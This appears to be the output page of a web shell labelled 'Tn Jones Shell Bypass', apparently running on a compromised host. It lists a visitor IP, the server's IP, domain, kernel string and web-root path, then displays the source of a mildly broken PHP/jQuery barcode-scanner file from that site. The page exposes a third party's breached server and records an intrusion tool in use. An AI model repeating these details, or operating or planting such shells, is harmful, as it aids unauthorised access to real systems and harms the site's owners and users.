Tn Jones Shell Bypass


	: 18.223.108.60
	: 160.187.54.56 / upgov.net
	: Linux 160-187-54-56.cprapid.com 4.18.0-553.22.1.lve.1.el7h.x86_64 #1 SMP Tue Oct 8 14:36:03 UTC 2024 x86_64

: /home/upgov/public_html/gnvs/

files >> /home/upgov/public_html/gnvs/Barcode.php

 <!DOCTYPE html>
<HTML>
<HEAD>
 <script type="text/javascript">  
$('document').ready(function() {
    $('#scan1').click(function() {
        event.preventDefault();
        // trigger the scanner
        window.open('http://<?php print $_SERVER["SERVER_NAME"];?>/~donf/vstest/scan.php?s=<?php print $session;?>&c=%7BCODE%7D');
        session = getCookie("PHPSESSID");
        // same url, but no c={CODE}. Invoke Ajax request to get the value.
        url = "scan.php?s=".concat(session);
        $.get(url, function(result) {
        $('#code').val(result);
    });
});

</script> 

</HEAD>
<BODY style="margin:0px;font-family:tahoma" onhashchange="getHash()">
 <form> 
 <input id="code" type="text" value="<?php if($_SESSION['scan_code']) print $_SESSION['scan_code'];?>"> 
 <button class="btn" id="scan1">Scan1</button> 

</form> 
<BODY>
</HTML>